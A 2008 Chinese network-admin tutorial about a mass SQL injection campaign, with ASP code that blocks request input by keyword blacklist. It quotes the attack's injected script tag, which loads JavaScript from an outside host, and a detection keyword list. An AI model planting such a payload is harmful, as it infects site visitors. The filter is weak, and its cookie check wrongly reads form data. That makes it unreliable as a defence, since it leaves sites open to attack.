网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > 入门教程 > 解决大范围SQL注入攻击的问题  

解决大范围SQL注入攻击的问题

2008-06-18  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

据IDG新闻服务5月19日报道,中国大陆和中国台湾地区数以千计的网站正在遭受大规模的SQL注入攻击。由于采用了非常强的SQL注入攻击手段,因此将会给很多目标网站带来不可逆转的破坏,数以千计的网站被卷入到了这次攻击中,截止上周五已经有超过1万个服务器被植入了恶意代码,而其中的大部分都位于中国大陆,还有一少部分位于中国台湾地区。搜房网和深圳汽车大世界网都沦为了上周五的攻击目标。

  受到攻击的服务器数据库表中所有字符字段都被加入“"></"></title><script src=http://s.see9.us/s.js></script><!--“通过查询和参考相关材料,用asp语言整理出以下代码可以解决上述问题(其他语言可以按其原理重新编写),这段代码有三个特点:

1.用lcase防范大写的sql注入代码

2,分别防范来自Request.QueryString,Request.Form,Request.cookies三个方面的危险

3。直接将代码拷进数据库链接文件,例如asp语言的可以添加到conn文件中。

防范代码如下:(希望更多高手提出意见)

SQL_injdata = "'|exec|insert|select|delete|update|count|iframe|script|chr|mid|master|truncate|char|declare|*|%|and"

网管联盟bitsCN_com


SQL_inj = split(SQL_Injdata,"|")
'QueryString请求的注入的拦截
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(lcase(Request.QueryString(SQL_Get)),Sql_Inj(Sql_DATA))>0 Then
Response.write "您提交的内容含有非法字符"
Response.end
end if
next
Next
End If

'Get请求的注入的拦截
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(lcase(Request.Form(Sql_Post)),Sql_Inj(Sql_DATA))>0 Then
Response.write "您提交的内容含有非法字符"
Response.end
end if
next
next
end if

'cookies请求的注入的拦截
If Request.cookies<>"" Then
For Each Sql_Post1 In Request.cookies
For SQL_Data=0 To Ubound(SQL_inj)
if instr(lcase(Request.Form(Sql_Post1)),Sql_Inj(Sql_DATA))>0 Then
中国网管论坛bbs.bitsCN.com

Response.write "您提交的内容含有非法字符"
Response.end
end if
next
next
end if

TAGs   攻击   问题   注入   范围   解决   "   >   if   For   Then   代码      
 上一篇:黑客教你玩一场webshell游戏   下一篇:经典入侵检测术语全接触
解决大范围SQL注入攻击的问题 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: